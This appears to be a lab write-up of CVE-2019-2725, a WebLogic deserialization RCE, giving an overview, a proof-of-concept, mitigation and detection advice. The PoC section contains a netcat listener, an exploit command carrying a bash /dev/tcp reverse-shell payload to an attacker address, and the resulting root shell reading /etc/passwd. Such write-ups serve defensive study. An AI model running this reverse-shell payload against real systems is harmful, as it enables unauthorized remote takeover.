CVE-2019-2725 – Oracle WebLogic Unauthenticated Remote Code Execution

Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services). Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0. An easily exploitable vulnerability allows an unauthenticated attacker with network access via HTTP to compromise the Oracle WebLogic Server.

Vulnerability Overview

CVE ID: CVE-2019-2725
Severity: Critical (CVSS v3: 9.8)
Vulnerability Type: Unauthenticated Remote Code Execution (RCE)
Affected Product: Oracle WebLogic Server
Affected Component: AsyncResponseService
Authentication Required: No
User Interaction Required: No

CVE-2019-2725 is a critical deserialization vulnerability in Oracle WebLogic Server that allows unauthenticated remote attackers to execute arbitrary system commands via a specially crafted SOAP request sent to the /_async/AsyncResponseService endpoint.

Affected Versions

Oracle WebLogic Server versions prior to the April 2019 Critical Patch Update, including but not limited to:

• WebLogic 10.3.6
• WebLogic 12.1.3
• WebLogic 12.2.1.3

Vulnerability Description

The vulnerability exists due to unsafe deserialization in the AsyncResponseService.
An attacker can send a malicious XML payload that results in arbitrary command execution on the underlying operating system without authentication.

This issue is particularly dangerous because:

• The endpoint is often exposed externally
• No valid credentials are required
• Exploitation leads directly to full system compromise

Attack Scenario

1. Attacker identifies an exposed WebLogic instance
2. Attacker sends a malicious SOAP request to:
3. WebLogic deserializes attacker-controlled data
4. Arbitrary OS commands are executed
5. Attacker gains remote shell access

Proof of Concept (PoC)

🔹 Attacker Listener (Second CLI)

Start a Netcat listener to receive the reverse shell:

nc -lvp 2323

🔹 Exploit Execution (First CLI)

Run the exploit script against the vulnerable WebLogic server:

python3 CVE-2019-2725.py http://172.17.0.6:7001/_async/AsyncResponseService '/bin/bash -i >& /dev/tcp/172.17.0.10/2323 0>&1'

Expected Output:

[+] Target appears VULNERABLE
[*] Sending payload...
[+] Payload delivered successfully (HTTP 202)

🔹 Successful Exploitation Result

On the Netcat listener, a reverse shell is received:

Listening on 0.0.0.0 2323
Connection received on 172.17.0.6 39926
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# whoami
root
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# pwd
/root/Oracle/Middleware/user_projects/domains/base_domain
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
root@8c9cc07feb3e:~/Oracle/Middleware/user_projects/domains/base_domain#

Mitigation & Remediation

Recommended Actions

1. Apply Oracle April 2019 Critical Patch Update (CPU)

• Upgrade Oracle WebLogic Server to a version that includes the April 2019 security fixes provided by Oracle https://www.oracle.com/security-alerts/alert-cve-2019-2725.html

2. Restrict Access to Vulnerable Endpoint

• This confirms remote command execution and system-level access.
• Ensure this endpoint is not exposed to untrusted networks
• Restrict access to internal or trusted IP ranges only

3. Block Untrusted Access Using Network Controls

• Implement strict firewall rules
• Enforce access control through reverse proxies
• Disable unnecessary external access to WebLogic management and async services

4. Enable Logging and Continuous Monitoring

• Monitor HTTP access logs
• Alert on abnormal request patterns targeting async endpoints

Detection Indicators

The following indicators may suggest attempted or successful exploitation:

🔍 Network & Application Indicators

• Requests to:
• Suspicious or malformed SOAP/XML payloads
• Repeated HTTP 202 Accepted responses from async services

🔍 Host-Based Indicators

• Outbound network connections initiated by WebLogic Server
• Unexpected shell execution such as:
• /bin/bash
• /bin/sh
• Creation of reverse shell connections to unknown IPs or ports

Security Monitoring Recommendations

• Enable IDS/IPS signatures for known WebLogic SOAP exploitation patterns
• Monitor outbound traffic from WebLogic servers
• Implement least-privilege execution for application services
• Review WebLogic process execution logs regularly

Credits

The following public repositories were referenced for exploit understanding and validation:

• https://github.com/lufeirider/CVE-2019-2725
• https://github.com/pimps/CVE-2019-2725